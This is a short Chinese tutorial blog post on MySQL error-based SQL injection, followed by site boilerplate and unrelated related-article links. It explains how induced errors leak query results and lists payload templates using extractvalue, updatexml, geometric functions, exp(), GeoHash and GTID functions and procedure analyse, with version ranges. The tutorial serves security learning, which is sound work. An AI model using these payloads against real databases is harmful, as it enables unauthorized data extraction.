10分钟了解sql注入--报错注入(二)

简介: 🍀学会报错注入
🏆今日学习目标:
🍀学会报错注入
✅创作者:贤鱼

请添加图片描述

原理

利用数据库某些机制,人为制造错误,使得查询的结果出现在报错中
sql查询的星系会被报错语句返回到界面上

注入

extractvalue

extractvale(MXL_document,xpath_string);

第一个参数为xml字符串
第二个参数为xpath格式字符串

作用,从xml中返回包含查询字符串

==注意!== 查询时用group_concat或者limit
记得用substr函数进行截取,extractvalue报错信息最多32个字符

后面的程序和上文union注入差不多,如有需要可以查看

双查询注入

上文所说查询时用group_concat或者limit
有些版本的mysql中query不能用聚合函数,面对这种情况,我们只能从口袋里掏出limit
在这里插入图片描述
用limit将结果一行一行爆出

双列名查询

join:
用于将两个表连接

在sql查询时,如果查询的两个列名是一样的就会报错,我们可以利用这个机制注入

报错函数

extractvalue(XML_document,XPath_string);

xml这两个函数报错时,会忽略掉第一个字符若,其后字符
与它连续且相同,也会被忽略 第一个参数:XML_document
是String格式,为XML文档对象的名称,文中为Doc 第二个
参数:XPath_string (Xpath格式的字符串). 作用:从目标
XML中返回包含所查询值的字符串 ( >=5.1.5)
updatexml(1,concat(0x282b,(QUERY),0x292b),1)

updatexml(XML_document,XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对
象的名称,文中为Doc 第二个参数:XPath_string (Xpath格
式的字符串)。 第三个参数:new_value,String格式,替换
查找到的符合条件的数据 ( >=5.1.5)
extractvalue(1,concat(0x282b,(QUERY),0x292b))

geometrycollection()

geometrycollection((select from(select from(select
user())a)b));(5.1>=version<=5.5.48 )

multipoint()

multipoint((select * from(select user())b));
(5.1>=version<=5.5.48 )

polygon()

select polygon((select from(select from(select
user())a)b));(5.1>=version<=5.5.48 )

multipolygon()

multipolygon((select from(select from(select
user())a)b));(5.1>=version<=5.5.48 )

linestring()

linestring((select from(select from(select user())a)b));
(5.1>=version<=5.5.48 )

multilinestring()

multilinestring((select from(select from(select
user())a)b));(5.1>=version<=5.5.48 )

exp()

exp(~(select * from(select user())a));
(5.1>=version<=5.5.48 )

ST_LatFromGeoHash()

select ST_LatFromGeoHash(user());(>=5.7)

ST_LongFromGeoHash()

select ST_LongFromGeoHash(user());(*>=5.7)

GTID_SUBSET()

select GTID_SUBSET(user(),1);(*>=5.7)

GTID_SUBTRACT()

select GTID_SUBTRACT(user(),1);(*>=5.7)

ST_PointFromGeoHash()

select ST_PointFromGeoHash(user(),1);(*>=5.7)

procedure analyse()

procedure
analyse(extractvalue(1,concat(0x3a,user())),1); 放在语句
末尾,(*<=5.6.17)

请添加图片描述

目录
打赏
0
0
0
0
1
分享
相关文章
【YashanDB知识库】解决mybatis的mapper文件sql语句结尾加分号";"报错
【YashanDB知识库】解决mybatis的mapper文件sql语句结尾加分号";"报错
|
4月前
|
SQL
【YashanDB知识库】使用leading hint调整SQL执行计划后报错YAS-04522 invalid hint leading
【YashanDB知识库】使用leading hint调整SQL执行计划后报错YAS-04522 invalid hint leading
【YashanDB知识库】使用leading hint调整SQL执行计划后报错YAS-04522 invalid hint leading
数据库数据恢复—SQL Server数据库报错“错误823”的数据恢复案例
SQL Server附加数据库出现错误823,附加数据库失败。数据库没有备份,无法通过备份恢复数据库。 SQL Server数据库出现823错误的可能原因有:数据库物理页面损坏、数据库物理页面校验值损坏导致无法识别该页面、断电或者文件系统问题导致页面丢失。
207 13
数据库数据恢复—SQL Server数据库报错“错误823”的数据恢复案例
【YashanDB 知识库】解决 mybatis 的 mapper 文件 sql 语句结尾加分号";"报错
【YashanDB 知识库】解决 mybatis 的 mapper 文件 sql 语句结尾加分号";"报错
|
10月前
|
SQL解析相关报错
SQL解析相关报错
104 5
数据库数据恢复—SQL Server报错“错误 823”的数据恢复案例
SQL Server数据库附加数据库过程中比较常见的报错是“错误 823”,附加数据库失败。 如果数据库有备份则只需还原备份即可。但是如果没有备份,备份时间太久,或者其他原因导致备份不可用,那么就需要通过专业手段对数据库进行数据恢复。
|
5月前
|
SQL
【YashanDB 知识库】使用 leading hint 调整 SQL 执行计划后报错 YAS-04522 invalid hint leading
在 YashanDB 的所有版本中,使用 leading hint 调整 SQL 执行计划时可能出现“YAS-04522 invalid hint leading”错误,导致 SQL 无法正常执行。原因是 YashanDB 优化器的 Bug。解决方法为避免使用 leading hint。可通过创建测试表 a、b、c 并执行特定 SQL 语句来验证问题是否存在。
Web学习_SQL注入_联合查询注入
联合查询注入是一种强大的SQL注入攻击方式,攻击者可以通过 `UNION`语句合并多个查询的结果,从而获取敏感信息。防御SQL注入需要多层次的措施,包括使用预处理语句和参数化查询、输入验证和过滤、最小权限原则、隐藏错误信息以及使用Web应用防火墙。通过这些措施,可以有效地提高Web应用程序的安全性,防止SQL注入攻击。
235 2
AI助理

你好,我是AI助理

可以解答问题、推荐解决方案等

登录插画

登录以查看您的控制台资源

管理云资源
状态一览
快捷访问